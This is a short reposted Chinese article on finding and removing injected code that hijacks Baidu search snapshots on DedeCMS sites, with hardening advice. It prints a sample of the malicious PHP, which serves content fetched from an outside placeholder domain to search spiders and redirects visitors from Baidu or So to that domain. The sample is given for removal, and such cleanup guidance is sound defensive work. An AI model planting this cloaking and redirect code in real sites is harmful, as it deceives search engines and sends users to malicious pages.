生活随笔
收集整理的這篇文章主要介紹了
织梦dedecms百度快照劫持注入代码防范与清除
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
DedeCMS織夢(mèng)百度快照劫持注入代碼防范及修正方法，很多站長(zhǎng)做站的過程中，都碰過百度快照被劫持等問題，明明已經(jīng)修復(fù)模板文件了，還是沒有更新回正常的快照，以織夢(mèng)CMS系統(tǒng)為例，
往往根目錄/index.php也被植入惡意代碼，比如如下這種：
| 2 | if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo?$str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); |
| 4 | foreach ($domain as $v) {?if?(strpos($fromurl,$v)!==false) |
| 6 | { $target="http://域名.com/index.html"; header("Location:".$target);?exit; }}?> |
|
單這段代碼就直接把搜索引擎蜘蛛搞暈，帶到別的惡意網(wǎng)址去。把其刪掉，如果在index.php里沒找到，但還是存在類似的問題，可以用dw全站搜索下。
特別注意：關(guān)于惡意劫持防范，空間，ftp賬號(hào)，權(quán)限，后臺(tái)賬號(hào)之類都需要設(shè)置下，不能太過簡(jiǎn)單。
總結(jié)
以上是生活随笔為你收集整理的织梦dedecms百度快照劫持注入代码防范与清除的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。
